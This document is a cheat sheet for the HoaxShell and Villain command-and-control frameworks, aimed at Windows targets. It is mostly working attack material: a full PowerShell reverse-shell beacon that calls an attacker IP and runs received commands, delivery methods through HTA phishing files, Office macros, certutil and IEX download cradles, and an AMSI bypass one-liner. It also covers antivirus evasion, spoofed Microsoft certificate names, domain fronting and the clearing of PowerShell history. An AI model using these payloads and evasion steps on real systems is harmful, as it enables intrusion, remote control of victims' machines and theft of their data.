HoaxShell & Villain Framework

┌────────────────────────────────────────────────────────────────────┐  
│ Feature HoaxShell Villain                                          │  
│ ──────────────────────────────────────────────────────────────     │  
│ Primary Use Single operator Team red team ops                      │  
│ Protocol HTTP/S HTTP/S + HoaxShell                                 │  
│ Sessions Single session Multiple simultaneous                      │  
│ Team Collaboration ❌ No ✅ Yes (multi-operator)                   │  
│ Built-in Payloads ✅ Many types ✅ More types                      │  
│ Shell Upgrade ✅ Basic ✅ Advanced                                 │  
│ Encrypted Comms ✅ HTTPS ✅ HTTPS + custom                         │  
│ HoaxShell Integration ─── (IS HoaxShell) ✅ Integrates HoaxShell   │  
│ Sibling Shells ❌ ✅ Yes                                           │  
│ Obfuscation ✅ Built-in ✅ Advanced                                │  
│ Difficulty Easy Medium                                             │  
│ Best For CTFs, simple ops Full red team ops                        │  
└────────────────────────────────────────────────────────────────────┘

# ─── Install ───
git clone https://github.com/t3l3machus/hoaxshell.git
cd hoaxshell
pip3 install -r requirements.txt

# ─── Basic usage ───
sudo python3 hoaxshell.py -s <YOUR_IP>
# → Starts HTTP listener + generates payload

# ─── HTTPS (recommended for AV bypass) ───
sudo python3 hoaxshell.py -s <YOUR_IP> -c /path/to/cert.pem -k /path/to/key.pem

# ─── Generate self-signed cert ───
openssl req -x509 -newkey rsa:2048 \
  -keyout key.pem -out cert.pem \
  -days 365 -nodes \
  -subj "/CN=updates.microsoft.com"   # ← legitimize the domain!

sudo python3 hoaxshell.py -s <YOUR_IP> -c cert.pem -k key.pem

# ─── Full options ───
sudo python3 hoaxshell.py --help

# Key flags:
-s   <IP>         # attacker IP / server IP
-p   <PORT>       # listener port (default: 8080/443)
-c   <CERT>       # SSL certificate file
-k   <KEY>        # SSL private key file
-H   <HEADER>     # custom HTTP header for comms (stealth)
-t   <TYPE>       # payload type
-r               # raw payload (no obfuscation)
-u               # update payload frequency
-i               # payload execution interval (seconds)
-q               # quiet mode

# ─── Payload types ───
# Default       → powershell IEX one-liner
# -t ps_outfile → writes .ps1 to disk
# -t ps_iex_b64 → base64 encoded
# -t hoaxshell_v3 → latest evasion version
# -t constrained_language → CLM bypass

┌─────────────────────────────────────────────────────────────┐  
│ Attacker (HoaxShell server) Victim (Windows target) │  
│ │  
│ 1. Start listener ←─── (waiting) │  
│ 2. Victim runs payload ─────────────────────────► │  
│ 3. Victim sends GET request ◄────────────────────────── │  
│ with victim ID │ │  
│ 4. Server responds with ─────────────────────────► │  
│ next command (base64) │ │  
│ 5. Victim executes command ←─── (executes in PS) │  
│ 6. Victim sends POST with ◄────────────────────────── │  
│ command output (base64) │ │  
│ 7. Server displays output ─────────────────────────► │  
│ ──────────────── LOOP ─────────────────────────────── │  
│ │  
│ Transport: HTTP GET (poll for cmd) + POST (send output) │  
│ All content: base64 encoded │  
│ To AV/FW: looks like normal web traffic! │  
└─────────────────────────────────────────────────────────────┘

# ─── Generated payload examples ───

# Standard HTTP payload (auto-generated by hoaxshell):
$s='10.10.10.10:8080';
$i='xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx';
$p='http://';
$v=Invoke-WebRequest -UseBasicParsing -Uri "$p$s/xxxxxxxx" -Headers @{"Authorization"="$i"};
while ($true){
    $c=(Invoke-WebRequest -UseBasicParsing -Uri "$p$s/xxxxxxxxxxxxxxxx" `
        -Headers @{"Authorization"="$i"}).Content;
    if ($c -ne 'None') {
        $r=([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($c)) `
            | IEX 2>&1 | Out-String);
        $t=Invoke-WebRequest -UseBasicParsing -Uri "$p$s/xxxxxxxxxxxxxxxx" `
            -Method POST -Headers @{"Authorization"=$i} `
            -Body ([System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($r)));
    }
    sleep 0.8
}

# ─── One-liner delivery (drop into cmd.exe) ───
powershell -ep bypass -e <BASE64_OF_ABOVE>

# ─── IEX from server ───
powershell -ep bypass -c "IEX(IWR -UseBasicParsing http://10.10.10.10/payload.ps1)"

# ─── Constrained Language Mode Bypass ───
# For targets where PowerShell CLM is enforced:
sudo python3 hoaxshell.py -s 10.10.10.10 -t constrained_language_mode

# ─── Custom header (extra stealth) ───
# Comms hidden inside a specific HTTP header:
sudo python3 hoaxshell.py -s 10.10.10.10 -H "X-Auth-Token"
# → Shell data transmitted in X-Auth-Token header
# → Even harder to detect in proxy logs!

# ─── Frequency control ───
sudo python3 hoaxshell.py -s 10.10.10.10 -i 5
# → Victim polls every 5 seconds (less noisy)
# → Default is ~0.8s (fast but noisier)

# ─── Grabify / ngrok for external ───
# Use ngrok to expose local listener externally:
ngrok http 8080
# Use ngrok URL as -s target:
sudo python3 hoaxshell.py -s <ngrok_subdomain>.ngrok.io -p 80

# ─── After victim runs payload, hoaxshell shows: ───

# ------------------------------------------------
#  Ill-fated                                      
# ------------------------------------------------
# HoaxShell v3.1.0
# ------------------------------------------------
# [00:00:01] session established!
# ------------------------------------------------
# hoaxshell > 

# ─── Commands ───
hoaxshell > whoami
hoaxshell > ipconfig /all
hoaxshell > net user
hoaxshell > cd C:\Users\victim\Desktop && dir

# ─── Upload file ───
hoaxshell > upload /local/path/file.exe C:\Temp\file.exe

# ─── Download file ───
hoaxshell > download C:\Users\victim\secret.txt /local/path/

# ─── Inject into another process ───
hoaxshell > inject <PID>

# ─── Get pty-like experience ───
hoaxshell > rlwrap hoaxshell   # for arrow key support

# ─── Install ───
git clone https://github.com/t3l3machus/Villain.git
cd Villain
pip3 install -r requirements.txt

# ─── Start Villain ───
sudo python3 Villain.py

# ─── With HTTPS ───
sudo python3 Villain.py -c cert.pem -k key.pem

# ─── Custom ports ───
sudo python3 Villain.py -p 8080    # HTTP port
sudo python3 Villain.py -x 443     # HTTPS port

# ─── Team server mode (allow sibling connections) ───
sudo python3 Villain.py -t         # enable team operator connections
# → Other operators connect via: connect <server_ip> <port>

┌──────────────────────────────────────────────────────────────────┐  
│ VILLAIN ARCHITECTURE │  
│ │  
│ ┌─────────────┐ ┌─────────────────────────────────────┐ │  
│ │ Operator 1 │────►│ │ │  
│ │ (main) │ │ Villain Server │ │  
│ └─────────────┘ │ │ │  
│ │ ┌─────────────────────────────┐ │ │  
│ ┌─────────────┐ │ │ Session Manager │ │ │  
│ │ Operator 2 │────►│ │ ┌──────┐ ┌──────┐ ┌──────┐│ │ │  
│ │ (sibling) │ │ │ │Sess 1│ │Sess 2│ │Sess 3│││ │ │  
│ └─────────────┘ │ │ └──────┘ └──────┘ └──────┘│ │ │  
│ │ └─────────────────────────────┘ │ │  
│ ┌─────────────┐ │ │ │  
│ │ Operator 3 │────►│ HTTP/S + HoaxShell listeners │ │  
│ │ (sibling) │ │ │ │  
│ └─────────────┘ └───────────────┬─────────────────────┘ │  
│ │ │  
│ ┌──────────────────▼──────────────────────┐ │  
│ │ Windows Victims │ │  
│ │ [Victim1] [Victim2] [Victim3] [Victim4] │ │  
│ └─────────────────────────────────────────┘ │  
└──────────────────────────────────────────────────────────────────┘

# ─── After launching: Villain > prompt ───

# ─── Payload generation ───
Villain > generate          # interactive payload wizard
Villain > generate cmd=powershell lhost=10.10.10.10 encode
Villain > generate cmd=powershell lhost=10.10.10.10 obfuscate encode
Villain > generate cmd=cmd lhost=10.10.10.10           # cmd.exe payload
Villain > generate cmd=powershell lhost=10.10.10.10 constraint_mode

# ─── Session management ───
Villain > sessions           # list all active sessions
Villain > shell <ID>         # interact with session
Villain > shell 0            # interact with session 0
Villain > kill <ID>          # kill session

# ─── Team operations ───
Villain > connect <IP> <PORT>  # connect as sibling operator
Villain > siblings             # list connected operators
Villain > share <SESSION_ID>   # share session with siblings

# ─── File operations ───
Villain > upload /local/file C:\Temp\file
Villain > download C:\Temp\file /local/path

# ─── Utilities ───
Villain > alias <ID> MyWebServer  # name a session
Villain > cmdinspector           # inspect payload safety
Villain > help                   # full command list
Villain > clear                  # clear screen

# ─── Inside a shell session ───
# Press Ctrl+C or type 'exit' to return to Villain >

# ─── Connect to session ───
Villain > shell 0

# Prompt changes to:
# ┌──────────────────────────────────────────────────────
# │ Session 0 | DESKTOP-ABC123 | victim\user | x64 | 10.0.19041
# └──────────────────────────────────────────────────────
# [DESKTOP-ABC123] C:\Users\victim >

# ─── All standard Windows commands work ───
[DESKTOP-ABC123] C:\Users\victim > whoami /all
[DESKTOP-ABC123] C:\Users\victim > net user
[DESKTOP-ABC123] C:\Users\victim > systeminfo
[DESKTOP-ABC123] C:\Users\victim > ipconfig /all
[DESKTOP-ABC123] C:\Users\victim > netstat -ano

# ─── PowerShell specific ───
[DESKTOP-ABC123] C:\> powershell -c "Get-Process"
[DESKTOP-ABC123] C:\> powershell -c "Get-LocalUser"
[DESKTOP-ABC123] C:\> powershell -c "Get-WmiObject Win32_Service"

# ─── Upload tools ───
[DESKTOP-ABC123] C:\Temp > upload /opt/winpeas/winPEASx64.exe C:\Temp\winpeas.exe
[DESKTOP-ABC123] C:\Temp > .\winpeas.exe

# ─── Background session (return to Villain >) ───
# Ctrl+C or type: background

# ─── Team scenario ───
# Operator 1 (main server):
sudo python3 Villain.py -t    # -t = enable team mode

# Operator 2 (connects as sibling):
sudo python3 Villain.py
Villain > connect 10.10.10.10 65001   # connect to Operator 1

# Operator 1: share session with team
Villain > share 0             # share session 0 with all siblings

# Now BOTH operators can interact with the same victim shell!
# Real-time collaboration → one operator runs recon,
# another runs exploitation simultaneously

# ─── Sibling commands ───
Villain > siblings            # list connected operators
Villain > sessions            # shows sessions from ALL operators

# ─── All payload type options ───

# Standard PowerShell (most compatible)
sudo python3 hoaxshell.py -s 10.10.10.10

# HTTPS (AV bypass + encryption)
sudo python3 hoaxshell.py -s 10.10.10.10 -c cert.pem -k key.pem

# Base64 encoded (bypass script block logging detection)
sudo python3 hoaxshell.py -s 10.10.10.10 -t ps_iex_b64

# Constrained Language Mode bypass
sudo python3 hoaxshell.py -s 10.10.10.10 -t constrained_language_mode

# Raw (no obfuscation, for debugging)
sudo python3 hoaxshell.py -s 10.10.10.10 -r

# Custom header (stealth delivery)
sudo python3 hoaxshell.py -s 10.10.10.10 -H "X-Session-Token"

Villain > generate

# Interactive wizard asks:
# [?] Payload type:
#     1. powershell
#     2. cmd
# [?] LHOST: 10.10.10.10
# [?] Encode payload? (y/n): y
# [?] Obfuscate payload? (y/n): y
# [?] Constraint Language Mode bypass? (y/n): n
# Output:
# ─────────────────────────────────────────────────────────
# Generated payload:
# powershell -ep bypass -e <BASE64_BLOB>
# ─────────────────────────────────────────────────────────
# Copy and execute on target!

# ─── Method 1: Direct execution (if you have code exec) ───
powershell -ep bypass -e <BASE64_PAYLOAD>

# ─── Method 2: Host on web server + IEX ───
# Host payload:
cd /tmp && echo '<PAYLOAD>' > shell.ps1
python3 -m http.server 80

# Victim runs:
powershell -ep bypass -c "IEX(IWR -UseBasicParsing http://10.10.10.10/shell.ps1)"

# ─── Method 3: Embed in .bat file ───
echo powershell -ep bypass -e <BASE64> > shell.bat

# ─── Method 4: HTA (HTML Application) ───
cat > evil.hta << 'EOF'
<html><head><script language="VBScript">
  Dim objShell
  Set objShell = CreateObject("WScript.Shell")
  objShell.Run "powershell -ep bypass -e <BASE64>", 0, False
</script></head></html>
EOF
# Deliver via phishing / link → double-click → shell!

# ─── Method 5: Macro-enabled Office doc ───
# VBA Macro:
Sub AutoOpen()
    Shell "powershell -ep bypass -e <BASE64>"
End Sub

# ─── Method 6: Certutil decode (bypass download restrictions) ───
# On victim:
certutil.exe -decode encoded.txt shell.ps1
powershell -ep bypass -f shell.ps1

# ─── Method 7: From meterpreter shell ───
meterpreter > execute -f powershell.exe -a "-ep bypass -e <BASE64>" -H

# Layer 1: Base64 encoding
powershell -ep bypass -e <BASE64_PAYLOAD>
# Hides payload content from string-based AV scans

# Layer 2: HTTPS transport
# All C2 traffic encrypted → payload exchange invisible
# Looks like: HTTPS request to "legitimate" server

# Layer 3: Custom HTTP headers
# Session data hidden in custom headers like X-Auth-Token
# Proxy logs show nothing suspicious

# Layer 4: Villain obfuscation option
Villain > generate cmd=powershell lhost=10.10.10.10 obfuscate encode
# Variable renaming + string splitting + encoding combined

# Layer 5: AMSI Bypass (combine with HoaxShell)
# Before delivering payload, bypass AMSI:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Or via Villain before generating payload:
Villain > generate cmd=powershell lhost=10.10.10.10 obfuscate encode
# Villain applies obfuscation + AMSI bypass stubs automatically

# ─── OPSEC considerations ───

# 1. Use HTTPS always (encrypt C2 traffic)
sudo python3 Villain.py -c cert.pem -k key.pem

# 2. Use domain-fronting or redirector
# Route C2 traffic through Cloudflare / CDN
# Victim connects to: cdn.amazonaws.com
# Traffic forwarded to your Villain server

# 3. Customize beacon interval (reduce noise)
sudo python3 hoaxshell.py -s 10.10.10.10 -i 30
# Poll every 30 seconds → less network noise

# 4. Use plausible domain for cert
openssl req -x509 -newkey rsa:2048 \
  -keyout key.pem -out cert.pem -days 365 -nodes \
  -subj "/CN=windows-update.microsoft-cdn.net"  # looks legit!

# 5. Kill switch payload after use
# After getting shell, remove the payload from disk:
[DESKTOP-ABC123] C:\Temp > del C:\Temp\payload.ps1

# 6. Clear PowerShell history
[DESKTOP-ABC123] > Remove-Item (Get-PSReadlineOption).HistorySavePath

# ─── 60-second setup ───

# Terminal 1: Start listener
cd ~/hoaxshell
sudo python3 hoaxshell.py -s <ATTACKER_IP> -c cert.pem -k key.pem
# → Copy the generated payload!

# Terminal 2: Host payload (optional)
python3 -m http.server 80

# On victim (cmd / existing shell):
powershell -ep bypass -e <BASE64_FROM_HOAXSHELL>
# OR
powershell -ep bypass "IEX(IWR -UseBasicParsing https://<IP>/payload.ps1)"

# Back in Terminal 1:
# [Session established!]
hoaxshell > whoami
hoaxshell > whoami /priv

# ─── Setup ───
cd ~/Villain
sudo python3 Villain.py -c cert.pem -k key.pem

# Generate payload
Villain > generate cmd=powershell lhost=<ATTACKER_IP> encode obfuscate

# Copy payload → execute on victim
# Session appears in Villain automatically

# List sessions
Villain > sessions

# Interact
Villain > shell 0

# Run privesc
[Victim] > upload /opt/tools/winPEASx64.exe C:\Temp\w.exe
[Victim] > C:\Temp\w.exe

# Background and manage
# Ctrl+C
Villain > sessions    # back to session list